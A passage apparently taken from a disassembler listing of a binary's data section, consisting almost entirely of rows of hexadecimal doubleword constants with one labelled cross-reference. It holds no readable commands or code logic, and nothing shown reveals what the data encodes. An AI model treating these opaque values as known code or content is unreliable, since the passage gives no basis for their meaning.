2E9D073Dh, 2268627Dh, 630834ACh, 785580A8h, 7CA0C88Dh dd 445073F6h, 90021FCh, 56D5FA22h, 0FE57AE9Eh, 2088B8C0h dd 0DB73812Bh, 0F8D848h, 567952ACh, 59E8939Bh, 753B4CF2h dd 0DA0C0FBEh, 5629DE77h, 8BFCE484h, 11C322CCh, 442E089Ah dd 0AB445DFEh, 7ECA4497h, 44D56944h, 228421F8h, 2242D087h dd 21EA6111h, 0D1E10805h, 0FC002691h, 154CB33Fh, 0AE002EE4h dd 0F2983643h, 3E803EE7h, 28001E4Ah, 7201AAA4h, 2707443Fh dd 0D5F6D4CAh db 90h, 8Ch word_505446 dw 81F3h ; DATA XREF: ___:off_435710o dd 4ED81C7Dh, 83388024h, 97ACDC6Fh, 3247EF00h, 0B449703Fh dd 0BE201FDAh, 0BB80094h, 539FC785h, 81241A02h, 40E472D7h dd 3B70D402h, 3800A19Ch, 0E765B198h, 6900A8D1h, 0A31D62C3h dd 0B96B89Bh, 0AFC864C4h, 55466880h, 0D100D64Ah, 637BA061h dd 2ACABD9h, 2E0C208Ch, 0F240C045h, 2970B8C7h, 0E61C23FCh dd 68C08C19h, 5D9DA080h, 1DD20F01h, 72ADD9BFh, 3811E8C0h dd 24054Ch, 0E212DA68h, 0F7D328h, 6DEA390Dh, 8760DC73h dd 7000BF71h, 1506C2BCh, 0AD93E1h, 287E449Ch, 3E3881FBh dd 0BE5E4B00h, 1C0CA51h, 0C811C220h, 1C60BF9Ah, 0C4186C96h dd 841873EDh, 77900E1Fh, 34212F3Ah, 0FBA16127h, 0BC059803h dd 8058EF06h, 0C799FE95h, 0B0B879A0h, 0A75B9C9Bh, 89323100h dd 334E5DF3h, 45AFA99h, 45C896E3h, 42F6C0C5h, 6D006A38h dd 5E4A7491h, 985563EEh, 0DF520978h, 805DA0C0h, 353639F7h dd 0CDB30178h, 0EC6F6302h, 0DADDF4F0h, 83546203h, 0F8099520h dd 8E0152h, 0B81285E7h, 3D1110A5h, 0F1D0FA60h, 3A8250FFh dd 0EFB8CD8Ah, 0A3B8D0h, 0FE3F9A1h, 0B545D473h, 0F5D5F107h dd 46C04202h, 9D5EC6h, 0E6F327A2h, 43C3936Eh, 4B0028B2h dd 5E70AD3Dh, 3D4A4E63h, 573A6829h, 6ABE2A80h, 0F3869A01h dd 0B2EE6701h, 93CBDED7h, 815460EAh, 0E180C05Ah, 0C861A22Eh dd 1F13A43Ch, 79C01D02h, 0B503BBF3h, 8A4B0Fh, 49EB7EF4h dd 0E2E01E81h, 4486D018h, 0C81B79h, 0B8CF4175h, 9030C5EEh dd 653F0F07h, 0D8604CCBh, 0E6A4839h, 571F8D76h, 58034509h dd 208701A6h, 0AFDA7182h, 0B3C0931Fh, 167DE600h, 90BF40A9h dd 481FF4DAh, 0C5009CA1h, 83331954h, 0E8E02180h, 64DFA000h dd 3DDD9802h, 0D0FB0FC9h, 68E0625Ah, 8B7C727Ah, 593CA40Ch dd 963037h, 0C6EFBC33h, 0EEC13863h, 464CD000h, 1A868E0h dd 0CE2200B8h, 187708C7h, 521DDBCCh, 298F82EEh, 0E3D2C047h dd 13A55157h, 0FCB6C061h, 0A2D00060h, 6D9C25FFh, 77383C7Bh dd 9C8AA6h, 0E785FCB0h, 2B2C540Bh, 33003696h, 0BB07BD43h dd 55EE00EAh, 942A031h, 5800F40Eh, 46FFA1B4h, 4FCB0Dh dd 1045BE9h, 0EC41B55Fh, 0EA6B4507h, 5B0BE5Dh, 121061Fh dd 0A586CD64h, 0F002D4E9h, 0B0A032C9h, 0D30E8089h, 41E456h dd 797AD88Bh, 0E97B00D9h, 154FD095h, 0E40053FBh, 281650E2h dd 121C3738h, 4079A29Ah, 4A85AC78h, 2E0E8082h, 85B8C02Bh dd 0FC1C937Fh, 0FDDC30C0h, 4A751A8h, 0A25241A1h, 482C8088h dd 0BF24A386h, 802839DEh, 0D6E94900h, 0AFCDC8D4h, 15B40016h dd 3994C7BAh, 2771B204h, 0F07BE424h, 83285A01h, 1180AD42h dd 12FB7351h, 2604A39Bh, 0B4F274B1h, 7B855084h, 407F80C2h dd 0AAA250h, 0FBE7ADF8h, 0B27A2623h, 0B05FA937h, 0F7B1240h dd 37AB0066h, 847C4B8Fh, 0D0000CCBh, 0BD5E157Eh, 0C1C295DCh dd 601B1EF0h, 0B8FDD43Bh, 80F6CD3Dh, 0A497D66Ch, 17BEACBh dd 0E42D5435h, 70BE5F0Eh, 5E09D525h, 4AC10Ch, 463E6640h dd 0B951001Ch, 5A18AB2Fh, 90A08EC0h, 9006121h, 3E7A9366h dd 90F4051h, 88867220h, 0F35C3C00h, 26001E78h, 0BFBB58CEh dd 9D82A5h, 2356F180h, 878824B1h, 0EF319B00h, 0A9D14909h dd 0D4C40015h, 0FAECE8BFh, 6F09A746h, 0C0C13C17h, 0B8916Ch dd 5AE730BCh, 4834922Ah, 6F0E3Fh, 0E837C7BFh, 29C1420h dd 41E05D31h, 8E0671Bh, 3D1C0945h, 0E18091DEh, 0F49A2852h dd 0A73A00BEh, 6D21F13h, 11E38DBh, 4B805709h, 0E803F171h dd 0BBC007D8h, 0F03DD35Dh, 53C359Dh, 8FF7B0A0h, 5FA09B0Fh dd 21BB0FE4h, 0C655EB76h, 0F66BD20h, 2037EDC2h, 9E828420h dd 1F0F5398h, 0AC2C065Bh, 13CE5Ah, 29D09490h, 304B3F19h dd 43257500h, 3EE48B35h, 0E248004Fh, 0F2276DF7h, 9200A0D4h dd 24584B4Dh, 0D52865h, 6198A890h, 0B3EE791Ch, 95001098h dd 5C063F62h, 1EF35A28h, 401FF029h, 0C86D794Eh, 420050A5h dd 0CD58907Dh, 35C0C33h, 2C98E692h, 0B0C305D1h, 0EC56BAA0h dd 0CD008496h, 228C25F4h, 5FD50065h, 5BC28D80h, 7802EBCCh dd 179327F0h, 6560D758h, 3300779Ch, 0CE811B53h, 7CCA23FEh dd 0B874EE8Ah, 7EEA1F5Ah, 16BCE867h, 70C79CFAh, 0A526D904h dd 2912F00h, 0E753F213h, 40DE018Bh, 711B6529h, 0C3C0D08Dh dd 6D01CC90h, 1A83B13Ah, 5C21290Ch, 26332DD8h, 551CC0h dd 896B8D0Bh, 0E1004437h, 49167725h, 1891B49Dh, 20D9DA1Ch dd 0DE7BF42Dh, 594A7B00h, 0E1AD27A6h, 67B30029h, 0CFF99711h dd 3F004258h, 0CB30EB39h, 20129Ch, 0C870DBFEh, 0DFF6B973h dd 0BA42061Ch, 348687C0h, 2024E8h, 0E16470AFh, 0A84BEFBFh dd 35614001h, 0B57D97ABh, 0F890E544h, 48232BAh, 0BF53E5F0h dd 0B04A8650h, 4AECA40Eh, 0D4D200A7h, 6B23D8h, 0B7D57302h dd 0A3132F5Bh, 4462B12h, 50BAE400h, 1F28212Dh, 1A0DAh dd 0B64C938Fh, 43006984h, 4061D91Ah, 0A6E0B4Ah, 3E59831h dd 0B3050EBCh, 995DC3BEh, 74D06CB4h, 805EF8B1h, 1582C14h dd 0B3C91B77h, 0C3FC6A12h, 0ACCF5C0Dh, 0D2ED40h, 77601C9Bh dd 782C2D2Ah, 39E6800h, 0B710099Ah, 0C4CB1FF3h, 5717002Bh dd 2FE51A13h, 85F2AA00h, 9745E8AEh, 2CCB00BAh, 0CE641292h dd 0D903A639h, 7E8C18CAh, 0C616F8D6h, 0E9E600DEh, 77AC79ECh dd 1D07EDB4h, 0A03A23D9h, 620CDD80h, 16BD00EFh, 0C2920BE9h dd 3B0F4E2Ch, 0E0B9C899h, 0A9DAF6C9h, 0FE75716Ah, 3EE773EBh dd 6B014C6Eh, 67F2BC3Ah, 3D30CCB1h, 0EC5D8B00h, 0B80240D6h dd 3B980032h, 0B21765FFh, 13000BDDh, 0CA395527h, 0E81FD925h dd 0AD2601ECh, 72470D85h, 57F0D001h, 0A3004EE4h, 55E231C4h dd 580A0873h, 510085FDh, 0BD425B98h, 0F1003DEDh, 92846322h dd 0D83793h, 36DEB03Fh, 0EA5CB4CBh, 0AC7A1A00h, 2F16448Bh dd 24A70342h, 29DCCAC2h, 0EDC068EAh, 390165FCh, 9F7CCB05h dd 3FE4B602h, 34AE002Eh, 5B239B19h, 87016885h, 0DDF8A6B2h dd 12F4D6BEh, 20B0005Eh, 68F49E99h, 0F300E745h, 66B9A926h dd 482FD93Fh, 0AB003BE5h, 891D7032h, 7500C7B6h, 0F2486EC3h dd 15F6FF7h, 28DC468Fh, 0E8E88D6Ah, 101345B1h, 0B507A609h dd 0B76099EFh, 1AEB40h, 33B917BFh, 512B23F7h, 4C06C107h dd 9F90A848h, 8B7FF8h, 0BDB0333Ah, 310D78CDh, 2C8DA0Ch dd 99E87Ah, 4130B5D3h, 0E9297FD7h, 0AB233D00h, 2D122A4Ch dd 48F812C8h, 791F91h, 89FCC78Bh, 670097BEh, 11D1137Eh dd 0ABF0E0h, 0EF2666F2h, 2C3510E9h, 7A7C1500h, 0CDDFFB5Ch dd 9FC21EC4h, 9D0E455Eh, 0F7B7C012h, 1900C7A6h, 0AA75B669h dd 51C07DBh, 0CA5C910Eh, 0B1C70004h, 150DDDACh, 0C9A9BF00h dd 8050ED1Eh, 0F63200DBh, 0AB57C85Fh, 0EC791FCAh, 54E22B09h dd 0D2480091h, 149CC4h, 0F72CC13Eh, 44E78073h, 231F38F4h dd 0A40FFE57h, 0DF1C4099h, 39AC07EEh, 1580F8CFh, 0DD4E530Bh dd 0CC0E1E84h, 4056F47Eh, 50661FB8h, 99DF07D2h, 0F5775EBEh dd 6ED08004h, 961F60E3h, 1070C369h, 210543h, 7664395Dh dd 0B283593Ah, 0F98F0703h, 0F02D2EFCh, 0FF8C5Bh, 6A6CAE45h dd 66BA4FE2h, 5728CB0Ah, 6807900Dh, 9EB78B5Eh, 0C9805970h dd 1EEA0060h, 696D654Bh, 8C002C0Ah, 2E7F7AD4h, 286A7C27h dd 0F4A232BFh, 5D080957h, 14808854h, 0EC9FBDCFh, 10C41330h dd 0DB99Eh, 9AE314C0h dd 82D7A5DBh, 15FF78C5h, 0AB399C00h, 488124E2h, 460003C5h dd 8102A38h, 0F015D72h, 0F980A6C0h, 9FCDABEh, 696400B6h dd 7629DB87h, 8426903Fh, 6A0004FDh, 3847E1B8h, 0A488266Dh dd 0ED8B0048h, 6EA57A27h, 45992E05h, 0AC001662h, 0B7D8D3A0h dd 0F3A8C08Dh, 0EC4D0ED1h, 0FD561C00h, 2BED2308h, 885B0220h dd 691D6C58h, 5EDC407Fh, 1FFF0E5h, 5137597Ah, 0E82C531Ah dd 0C6009890h, 561250AAh, 1F38D582h, 80A5670Ch, 0D22BD125h dd 24EC203Eh, 6D09D970h, 84AB72BEh, 0C1809344h, 0A03CC9h dd 8DF1AF3h, 0AE91AD66h, 39C61C00h, 0DC1D3196h, 0D883000Fh dd 5F35F629h, 0D7004BA0h, 82945326h, 3EE32AC3h, 0A113EF8Fh dd 3F440019h, 0EC7EC179h, 35C25100h, 0AF26F794h, 5F7F204Dh dd 0B3B92412h, 0CA86FF00h, 0A319779h, 0F7BACB89h, 2501DCCh dd 786C8D74h, 3D0DA080h, 36051F52h, 79E74D14h, 0A0728C00h dd 1650532h, 2BC013B2h, 20EB53DBh, 1000D354h, 430D993h dd 3B66B662h, 3228CB31h, 0D1A003B0h, 0C5679A37h, 6C593124h dd 0F9835640h, 3450000Ch, 0DB5233D3h, 760216CCh, 0B3747F73h dd 30E0849Ah, 41CC96h, 0D12A0FD2h, 9C5F777Eh, 763E1071h dd 0A6F88728h, 0E6D0A385h, 0A99B4Bh, 0B803FF5Eh, 2BFDF56Bh dd 7930F300h, 0CA7B60F0h, 0AD1E2673h, 0C72103D0h, 0BB8981D9h dd 826034C6h, 67806F00h, 95B618F5h, 7AC21502h, 0A100F8A7h dd 0A004E0B7h, 0B828B030h, 5978FF45h, 0EC2ED03h, 0C06A9BE6h dd 0C211463h, 0D8BB175Bh, 8E04FCECh, 0B62E9004h, 69F1D6C1h dd 1C079DF0h, 0B95CFAh, 57C680D0h, 60064B2h, 0D775A344h dd 2EE563BCh, 1C26FFCBh, 0F62640A6h, 7F77E88h, 284C58h dd 0A11CA846h, 11B2902h, 0B0DD3D8Ch, 0F81588E1h, 894858F1h dd 0D50173D0h, 0C7236DD4h, 81D9BBC3h, 8C10F4h, 2468D1ECh dd 0D3C1D9BFh, 0EE4FA800h, 0B5077F21h, 0E1D70087h, 5634400Dh dd 8A981EFBh, 6EDCD60Bh, 0B66C00E8h, 603A14A4h, 4E7B59C0h dd 5D7020FDh, 7AE82700h, 1864378Eh, 19A7865h, 0AEA6BD75h dd 0F848CFE3h, 0AF3EF66Dh, 17D63BB3h, 4109D29Bh, 0FA040096h dd 40671668h, 5100E8F7h, 2B280C64h, 616B29h, 0C08A995Bh dd 0E571441h, 7C82F11Dh, 3BCE6C80h, 13A1DF10h, 94347h dd 0D6C2B67Ch, 88000FE0h, 9CEBA890h, 4BF72Bh, 7EC4401h dd 81A0C15Ah, 5B7E4E00h, 0A3D8FD1Ah, 22380028h, 0C0102CFCh dd 0AE00CA88h, 1FA67B1Dh, 90A27FF9h, 0F418000Ch, 0DCED8592h dd 0D607709Bh, 0B2FA54D3h, 76F277C0h, 0A88226F0h, 0C1A30010h dd 0B04CF912h, 0EE0B0300h, 0A24EB558h, 0F62D0BBEh, 6480A649h dd 0E992FFEBh, 45E63900h, 0E73BEFAFh, 58BA36h, 5FD33A94h dd 1791F0DFh, 0F091098h, 7F52AAh, 0CF738088h, 6F66093Dh dd 7C00A00Bh, 0A892F1ADh, 0FD004A74h, 0EB9BD9C3h, 45D36FEh dd 96710343h, 0EEE4841Ch, 87DE1400h, 60B14283h, 0BD2191Dh dd 353E7DADh, 0F8880C4h, 15C313DDh, 49B607B4h, 0B09467D5h dd 0E3F302DFh, 0C3D84060h, 4C5C7F9Ah, 0EE07E49Eh, 0E04FA9DAh dd 0CD352104h, 7DB7FC0Eh, 6B4B80E6h, 1E921ABEh, 808078E7h dd 6A9D1023h, 3A007029h, 0F05EF573h, 0B5470Ah, 147AFEB0h dd 0EDC885Dh, 0C2000BF2h, 7587F129h, 79071C8Dh, 277059h dd 0AB769F70h, 13E821F9h, 2CEC858h, 0F506BF74h, 15944083h dd 0D9A11DB7h, 280F47AEh, 7C16B061h, 9E0FC213h, 0A012CBD4h dd 2B4F6C1Eh, 3A7A6049h, 6E4B6841h, 9CC7F203h, 0B07B3E22h dd 24615363h, 94E9AEh, 3DA02042h, 8A00C5C6h, 0BB030A6Ch dd 8FC54h, 0A65CF3B6h, 4C5D27C1h, 8090BDE0h, 5F01A31Eh dd 3E791C00h, 75F83Fh, 51440703h, 0BD8CC36Bh, 0B6009070h dd 6545043Bh, 4AE441h, 29FA972Fh, 0F95DBFEh, 0AD4EEF00h dd 0A0DE61F9h, 0BA5600E6h, 5CFB1185h, 74009895h, 1019C1E0h dd 0F4CEE37Dh, 0C7B00B2h, 0D6FEDAB6h, 0E1A08979h, 737AA9B9h dd 15000E71h, 5F8C602Dh, 24B8F8h, 0C68F7BCEh, 0C25533CAh dd 6301D900h, 473CF083h, 87A60162h, 9A4CAA0Dh, 5325CCB2h dd 56F3D400h, 2A71B921h, 86783FC3h, 64FEAEh, 0B27535BBh dd 0C8034E69h, 0BD425003h, 74309068h, 0B86500B1h, 0D32119C9h dd 0A892C5A5h, 0FEFFAC03h, 90BC53F2h, 213BE97h, 0DB71EF8h dd 0F4E095B9h, 88429016h, 0C7C8E700h, 0EBA7D625h, 0A173F100h dd 0F4E04422h, 0ABB600F7h, 77298BF2h, 350413A4h, 73BA9FFDh dd 3B4EEC80h, 44DB00F3h, 0B6056742h, 4D0790E3h, 0C672D636h dd 5479B3A0h, 0F97B005Bh, 0BD9E5973h, 714C185Fh, 8A650110h dd 0FE14E745h, 0F286C8D7h, 41BC01B9h, 55A4563Ch, 545FECCBh dd 38DC6F06h, 253CDh, 605812FBh, 687BB88Dh, 7AB58605h dd 0D500A954h, 0ECF8E950h, 210A009Ch, 0F488A46Ch, 35007EEFh dd 3DBBAFEBh, 30914BA8h, 8C2020FEh, 5900CC28h, 0F8C81703h dd 41099E8h, 3D1C6025h, 0D62BC011h, 8A266B90h, 390384E1h dd 3CED322Bh, 13806D61h, 0B04245B9h, 7F0B8231h, 0EA6ADEAh dd 0FFE0E0ABh, 7D278022h, 7557025Ah, 0FB74FD77h, 30DE0C0h dd 8F32AD04h, 7680683Bh, 0B7C596h, 0DBA480D7h, 7BF9E39Dh dd 0DDA90A00h, 2E0DDEFFh, 0F1730023h, 50CED114h, 0AD04EB75h dd 5A87522Fh, 40697282h, 3A7F1FE8h, 0A40BA821h, 0D0AF388Dh dd 2AC2980h, 610EA26Eh, 837280C9h, 7889A8E5h, 9A7C20h dd 18AE54F0h, 15F5A125h, 310BA00h, 6DB5766Ch, 0A7770002h dd 0FE92B43Fh, 470095D5h, 0CCBECD79h, 0FD035CC9h, 40F661F1h dd 0E4AF214Bh, 7EEA3178h, 6035A680h, 0C20069E8h, 8ABF38BEh dd 48BDB7CDh, 441D69B2h, 76E4006Eh, 0A7DB2567h, 0CF85B503h dd 0C0D29D4Eh, 1C420950h, 815721FCh, 8DA01FACh, 0C070523Ch dd 20008204h, 76AA448h, 0E1A68F00h, 0A304583Bh, 0C7310029h dd 94080BDBh, 0DE704FACh, 0A9FD5F00h, 51867BEh, 0B5393C3Eh dd 0A4B88EBCh, 0C82A6F02h, 3CE0DA64h, 0C107F7B4h, 1DE7D4C6h dd 0FC72A821h, 3E07C0h, 0B1B87E32h, 70CB9F4Bh, 6AE97103h dd 98B32A09h, 0B5A665h, 0CE4BD21Fh, 0B25CDF16h, 0CFD95000h dd 0F69AB601h, 69B003D6h, 0C58DDD5Dh, 2285FB98h, 37C41B05h dd 10C03075h, 0E885BE7h, 0F628EC96h, 0DDBDCA00h, 0E503E057h dd 126E09AAh, 553FA8D5h, 21F400D3h, 0A853BE3Bh, 2A07D6CEh dd 38D8940Fh, 987E99F0h, 0BFC40A36h, 80D4AEBEh, 6D7AE928h dd 0B0F0C573h, 4875C300h, 57076894h, 1D4300F5h, 0DE327876h dd 8D01B782h, 3B4C124Eh, 0E8EF55F4h, 12279DA7h, 2B1BEC9h dd 4B501578h, 0BF0C017Eh, 0AB6972h, 94459AFDh, 0FE4D3E84h dd 6C4E9000h, 2C086D5Dh, 1FDC159Eh, 9200F0AAh, 8EFCE9E2h dd 9700DEFDh, 3E172346h, 0C722B4h, 92CA27B2h, 6A209866h dd 65E97903h, 0C04139DBh, 12C0983h, 217ED5CAh, 0D0F18460h dd 0A9EE8B93h, 0FA998C12h, 809DCC4Fh, 4CC1C49Ch, 0C00E0611h dd 0B018FEA5h, 60028548h, 0F8719529h, 0FDA901D9h, 21F6B7DCh dd 10D99389h, 9E18F100h, 0AD0767h, 8EEE4E45h, 1C2FB4A8h dd 0E083D10Ah, 6D06B869h, 87F666BBh, 0C1405704h, 0CB15F1h dd 0A8A67188h, 0B030F58Ch, 8093F039h, 0D549A0E6h, 0F8B2DCCCh dd 906D3F4Fh, 0AD260580h, 1640CB0Dh, 87E75100h, 632F11EDh dd 0B7F41FD7h, 4A8F4726h, 6F5A60A4h, 0AE01FDF1h, 16AA875h dd 48A44764h, 1B8930A0h dd 0C91F5CACh, 138154C4h, 8ED832BFh, 8DC1A980h, 76873925h dd 0FF354218h, 0F2FA8BB8h, 0CA8A0071h, 53CF63F6h, 90C09D4Fh dd 0E817BBCh, 187A392Ah, 0D483A803h, 50184F03h, 0C37940AFh dd 1BF65C37h, 28F58600h, 6DC85748h, 32226400h, 0D2C9ADA3h dd 72CD0653h, 11ACD33Ah, 0FA0A5202h, 93C1C206h, 1861E1A0h dd 77D8BBE9h, 81212A6Bh, 0D40B00A4h, 10ECAFB2h, 7E3B446Ch dd 0A2948634h, 0CB87396h, 69B1E63Fh, 0EC56A6F0h, 0D12C10D0h dd 59DB3806h, 0CD7C304Bh, 0B333301Fh, 8CE3D808h, 0EE0E0906h dd 2F5B520Ch, 50F4F123h, 0A874BCA5h, 1429DAE0h, 0C8794C3Ch dd 2A0FF002h, 0D080AB3Dh, 0A0A7B9E6h, 53583Fh, 2F9B704Eh dd 7BD064Fh, 0BB590709h, 38E0CC67h, 0AE503F63h, 0E8B10063h dd 0B26F74F1h, 327E6171h, 6D03C5Ch, 38C0C24Fh, 0D42C05B0h dd 43D2F95Eh, 0C1D334D8h, 0F0C6D8AEh, 2851E8h, 66F2F6Bh dd 0E25003B4h, 184E2830h, 9E6AD60h, 1C74B18Ch, 387415h dd 3309FB55h, 1F02E654h, 1FF34C15h, 322E03h, 2AF589F9h dd 207BBBF8h, 1D673003h, 0F83F1A4Fh, 0E49111Fh, 50EE0706h dd 5B6C3360h, 40090F4h, 848F6217h, 62FA726h, 0AD59E8ECh dd 0CD1C795Dh, 93C1E457h, 219A6E85h, 0F0B455CCh, 0BC1200D8h dd 91ED5CEEh, 0BCA0A1CDh, 8F1D446Bh, 4798A9D3h, 0E2BBE8h dd 0D46A1C6Dh, 5304C48Eh, 2AD33880h, 12983E59h, 0EEC6C9h dd 3C9DB610h, 0AB343A24h, 80022142h, 9E0419A3h, 0B3E51020h dd 54D8C589h, 298AA041h, 0BA20F05Fh, 0A3D312F4h, 870037Fh dd 0E9306F87h, 0F531F64Ch, 53361F3Fh, 18355DEDh, 61322163h dd 32CAD48h, 0D973DC7Fh, 0EE17DF8h, 0A2AB18AAh, 65A08A8Fh dd 95352A93h, 0A62188A0h, 838CE951h, 0D8C96D48h, 0D338183Ah dd 0F71CA152h, 0A017D400h, 0EACDD16Fh, 320C04FEh, 5F5AAD77h dd 37FDCA42h, 1F5F617Dh, 54DBE4h, 0F37A9980h, 0FED4B78Fh dd 0B9D70533h, 1E88B112h, 0E6F4BBE1h, 5B19C3F5h, 79019240h dd 87BD0516h, 63D86560h, 8ACF0101h, 81F8721Dh, 0F4C08291h dd 456BA730h, 401100B8h, 0BA8A03AFh, 6C2D9602h, 4852B16Ah dd 176E58h, 8BE05FAh, 30D5558Fh, 217A08CCh, 0FA0F0013h dd 0A7916D93h, 0AB70D3E2h, 702DCC00h, 71F9675Bh, 0BB80C4A2h dd 0B65C8077h, 0AC13D69Ch, 3041AA95h, 0CAD31E97h, 94F833E9h dd 0DD2000C9h, 0C8D26A1Dh, 3506AFEDh, 43497A69h, 0B26121A0h dd 100E7CA4h, 50900ABEh, 0FA2268E0h, 0F4560369h, 5CD25EB2h dd 0AB4000AFh, 0A954AEC1h, 86FDAAE8h, 0A6950308h, 0B100399h dd 0A5FB6189h, 0C8EFEA89h, 6B0025B0h, 266ECBF3h, 2A707313h dd 0C461D3h, 0BCAD5E69h, 0E8A7E62Fh, 6A327400h, 0F7888E25h dd 41AF305Bh, 0A22C1799h, 0F60EF900h, 9FA6765Eh, 356900F8h dd 0CC11600Dh, 0D553516Ch, 321204F8h, 78823D65h, 0AD5C3003h dd 4746F5FCh, 31016122h, 0CE6BAC64h, 7840DAAAh, 303ADC90h dd 0F4502FF3h, 0D330224Eh, 3146C96Dh, 0F590EAFh, 0E6A65023h dd 4A4D0812h, 19181EE0h, 8A42DDC0h, 0F97AC2h, 7EF41EB2h dd 71B6D707h, 1D588565h, 0AC625420h, 57F5233Ch, 1F006511h dd 8242AC6Ah, 0DB5811F9h, 0BE9802DAh, 625DBCD9h, 31440E0h dd 16D498CBh, 21A7F03Fh, 82A8DA50h, 8C14DD9h, 62E84945h dd 0D6BD97F0h, 9240860h, 648EEC86h, 633B4450h, 7B04AC1Dh dd 0EB7DE071h, 1442BC20h, 90F5E766h, 30012323h, 0DB0F5AAFh dd 19884818h, 210F618h, 267E8420h, 706A36ACh, 7A58486Ch dd 2C1D2964h, 64AF2E01h, 44180B0Eh, 0F6162788h, 0B446001Ch dd 48150E7Bh, 2E01C0ABh, 8C0C8031h, 0A8505BADh, 0FD784Ah dd 28E9D122h, 31626D54h, 0CA2C9002h, 0AAE74012h, 0B00F88Ch dd 357FED3Dh, 0E1CB014Fh, 0BA84CC27h, 7552C9A3h, 0DB984208h dd 15521C66h, 3160F2F0h, 0EFD2F03Ah, 0C06CDC0Eh, 24F820E7h dd 536B690Ah, 42A2B4F0h, 0A417730h, 3424F1BEh, 6A5501FCh dd 24AE9405h, 0FE049B10h, 1E382593h, 1640D881h, 21970899h dd 0E294E080h, 6EFD3500h, 83789C87h, 0D4280AEAh, 4804E09h dd 0D85E6C2Ch, 0FA040B3Ch, 8FE8BE11h, 2300672Ch, 49D43DFAh dd 5D6F9D9h, 9EB985A8h, 8B884075h, 70B5A5EBh, 0B6461609h dd 0C548032Ch, 6570094Dh, 142790C9h, 46FDC3F1h, 7803182Ch dd 72624674h, 0E7EB5E03h, 0D8159EB8h, 0AAAF9440h, 0F6D7C080h dd 606D1468h, 38482CC1h, 1C2F6200h, 5CE8AC51h, 809C54F1h dd 0B0D83F6Ah, 0E0F941CFh, 0E99C741h, 0F3D0A013h, 0ED05149Ch dd 70109CFEh, 0FA25C0B1h, 8C18BDFFh, 157D44h, 7797FA1Dh dd 3D2A9EDCh, 2C28F50Bh, 705C054Ah, 0F984688Ch, 6864DC73h dd 0FA096064h, 0F8BE230Bh, 69164211h, 0F91C0221h, 7CC2B625h dd 5691F017h, 5C41CB80h, 904A591h, 0C614F1EDh, 50A734C2h dd 7FD42544h, 0BB1C5499h, 2545268h, 0BE04FA16h, 11713120h dd 20800E14h, 58C95C29h, 12016410h, 0F0ECCAD7h, 0C4EC2D8Ch dd 34965C4Fh, 4006A116h, 0E9A75998h, 0C112CD58h, 240957B0h dd 2CE819B6h, 58F2A462h, 9E61530h, 49DB34F1h, 202E9041h dd 2F249D14h, 63400895h, 16754125h, 123116A2h, 0F41C6068h dd 88A91018h, 17146470h, 0AC68028Ch, 3567F52Eh, 2DAC2465h dd 0B4E1AC0Ah, 247B4308h, 802111A4h, 0F58AF32h, 0C360B12Bh dd 95D81A13h, 62001F46h, 0E198E9EDh, 4B3F593Ch, 407C40E7h dd 9D1C119Ch, 0DCE90D26h, 233A6E64h, 0C9F30041h, 10117B6Fh dd 8EA19212h, 0ED136403h, 3C9CF8A2h, 0F7730326h, 12082C54h dd 6B2F8297h, 0E6035071h, 21509ADh, 3A30D9C0h, 809D9322h dd 0A3833E91h, 4A90649Bh, 0D714093Ch, 0ECC871E1h, 0F61D8C57h dd 2940541Fh, 0BE0D37A3h, 326816C1h, 39DC4FB3h, 1F604E73h dd 60A957EDh, 0DC0EC4ECh, 83237CEFh, 0F8564BA2h, 7BBC5067h dd 163B3C7Ah, 0C41094A5h, 0AB7B3832h, 8633949Ah, 0D8F68970h dd 7FC1D48Dh, 120977D6h, 40CC399Dh, 5B0C0464h, 0C4949E07h dd 4F276480h, 3F018A0Dh, 0D080DC4Dh, 17F3BF7Ah, 0D7583108h dd 0C5040070h, 2194DB9Ah, 0BDFE3068h, 6366E451h, 9CC5BCA2h dd 376145C4h, 4C643371h, 30EEE9A4h, 0F50970A0h, 949FCBF8h dd 71309184h, 12261842h, 0C4E0E1BEh, 0C5888468h, 0B2D30BA8h dd 6319A824h, 3809B80Ah, 227243FEh, 27400A3h, 0BFA4B594h dd 60B3AE99h, 0C4146700h, 279BAFDFh, 0CC860B6Dh, 54243AF1h dd 1DDCE430h, 43C3EBBEh, 18098AF4h, 385025E9h, 0A33281F0h dd 80A774F6h, 0D823D41Bh, 93FF0104h, 73063816h, 177D8014h dd 3B1ABA94h, 8180BD54h, 3493F3CDh, 5B4F3AC3h, 83D5F820h dd 8FD3300Ch, 945809C9h, 0B8C01507h, 873C360h, 86E088EDh dd 53D33007h, 24DA3929h, 9E4804E4h, 26B983B0h, 0CC0A9045h dd 527202C5h, 0D3B88B6h, 4951AC40h, 26D9CB80h, 0A5F456F4h dd 5911E41Dh, 811C3384h, 0F2296194h, 0D55D6820h, 0E95AF1h dd 74400C98h, 6324CBC5h, 9C08142Eh, 6318446Fh, 380AB80Bh dd 0A2448CE6h, 94031E71h, 9BF4806Fh, 0E5BB78ABh, 7F271209h dd 9164172Bh, 94528459h, 0D08E1084h, 0B1C04288h, 12AC4DA4h dd 4BDAD5AAh, 3C1086C8h, 9D03FC24h, 0E610D7C9h, 0C012BBD6h dd 2A61811h, 37F3E121h, 3660DA3Dh, 0D89872A8h, 0F832FF4Ah dd 601C0466h, 0B863AF17h, 0F70A79Ch, 5160FF26h, 6ADEAE46h dd 0FCC52300h, 9518E28Ch dd 4A4A8ABh, 0B3A30058h, 5393E0CBh, 5200CFD9h, 0AC5B0F40h dd 43164B8h, 0F1382232h, 5F2C8886h, 0A41F7000h, 84215452h dd 0C88D0344h, 0E6659FCCh, 0E84E50D9h, 38092BB8h, 96D3EC3h dd 819CE670h, 431903F8h, 0EFA07A7h, 0A444A04Ch, 941C017Ah dd 920EA210h, 2841DAB5h, 426467D8h, 3044E290h, 2D0116ECh dd 0C7EE36C5h, 66205BEAh, 60976285h, 0B0442F5Ah, 7D5C9E02h dd 5A062379h, 58E09338h, 0A9E409CCh, 1A15C5Ch, 0FA366571h dd 70829FD5h, 2D32FBDEh, 71717C51h, 0AA002018h, 0DA74C46Dh dd 8E3503h, 0FC5E74Dh, 72C0252Ah, 9FF5A838h, 955629D5h dd 301C2022h, 3D11AC65h, 64885FF5h, 0AC6D1E80h, 74C09A6h dd 0F8D7EAF0h, 5842F9EFh, 0A79CC541h, 11341759h, 5548062h dd 7825F916h, 138F149Ah, 57AC5006h, 4100948Ch, 30FFA556h dd 2E09E198h, 1D96D7B7h, 81421114h, 9BF9A376h, 918746DCh dd 3D507ECh, 3D841075h, 97FC54E2h, 0D4906E00h, 9E44508Eh dd 0E8C0003h, 1DC0512h, 4504320Bh, 5A70A9BEh, 0E906AF12h dd 550B3F3h, 918F5E6Ch, 